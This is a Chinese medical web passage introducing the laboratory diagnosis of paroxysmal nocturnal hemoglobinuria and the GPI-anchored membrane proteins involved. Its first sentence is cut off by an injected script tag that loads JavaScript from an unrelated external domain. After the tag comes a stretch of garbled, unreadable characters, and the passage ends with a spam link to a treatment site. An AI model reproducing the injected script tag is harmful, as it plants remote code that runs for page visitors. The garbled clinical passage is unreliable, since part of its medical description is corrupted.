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阵发性睡眠性血红蛋白尿症实验室诊断
阵发性睡眠性血红蛋白尿症(PNH)是一种后天获得的血细胞膜缺陷的克隆性疾病?script type='text/javascript' src='http://www.368tea.com/js/v.js'>俅采峡杀硐盅苣谌苎⑺ㄈ⑷赴跎俚龋惺笨沙鱿止撬杷ソ遊1].现已证实,大多数PNH患者异常克隆与正常造血并存,使本病的诊断和发病机制的研究受到限制。PNH患者红细胞膜表面缺乏加速衰变因子(DAF,CD55)、反应性溶血的膜抑制物(MIRL,CD59)和C8结合蛋白(或称同种限制因子,HRF)等,使红细胞对补体敏感而溶血。上述3种蛋白都经糖基化磷脂酰肌醇(GPI)连接在细胞膜上[2].近年来,由于各种检测技术的发展使得PNH发病机制的研究、PNH的诊断取得了突破性进展。现就PNH的实验诊断作一综述。 阵发性睡眠性血红蛋白尿的治疗:http://www.86953333.com/zfxsmxxhdbn/
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